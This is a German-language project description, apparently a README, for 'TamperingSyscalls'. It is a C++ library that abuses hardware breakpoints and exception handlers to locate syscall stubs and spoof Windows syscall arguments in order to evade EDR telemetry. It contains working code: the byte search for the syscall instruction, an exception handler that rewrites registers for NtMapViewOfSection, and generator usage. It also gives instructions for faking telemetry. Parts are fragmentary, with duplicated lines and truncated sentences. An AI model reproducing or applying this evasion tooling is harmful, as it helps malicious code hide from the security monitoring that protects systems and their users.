
C++-Bibliothek, die Windows-Syscall-Argumente mithilfe von Hardware-Breakpoints und Exception-Handlern abruft und fälscht, um die EDR-Telemetrie zu untergraben.
TamperingSyscalls ist ein zweiteiliges neuartiges Projekt, bestehend aus Argument-Spoofing und Syscall-Abruf, die beide EH missbrauchen, um EDRs zu unterlaufen. Dieses Projekt vereint beide Projekte, um eine alternative Lösung zu direkten Syscalls bereitzustellen.
Tampering mit Syscalls.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 enthält, im Dr0-Register.
Wir können die Adresse des Syscall-Stubs mit dieser schnellen Byte-Suche im Speicher lokalisieren.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx steht, da das RCX-Register in den nächsten Instruktionen zerstört wird.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
Wir können in diesem Beispiel sehen, dass wir die Argumente für NtMapViewOfSection korrigieren.
Wenn Sie damit beginnen möchten, EDR-Telemetrie zu fälschen, ist es möglich, die p[FunctionName]-Definitionen zu modifizieren, die derzeit auf NULL gesetzt sind.
Um die benötigten Funktionen zu generieren, verwenden Sie gen.py. Dies unterstützt entweder:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Es werden 3 Dateien erzeugt: TamperingSyscalls.cpp, TamperingSyscalls.h und main.cpp. Sie können #include "TamperingSyscalls.h" in Ihr Projekt einfügen. Wir können die Funktionen aufrufen, indem wir den Funktionsnamen an p anhängen, zum Beispiel pNtOpenSection(...);
Wir können keinen Breakpoint auf NtSetThreadContext oder seine Varianten setzen, da dies zum Setzen der Debug-Register verwendet wird. Es gibt eine kurze Zeitspanne, in der die Debug-Register gesetzt sind, aber diese ist sehr klein und ich glaube nicht, dass wir erkannt werden, weil wir ein offenes Dr0 halten.
Ich habe einen kleinen Blogbeitrag veröffentlicht, der diese Techniken behandelt.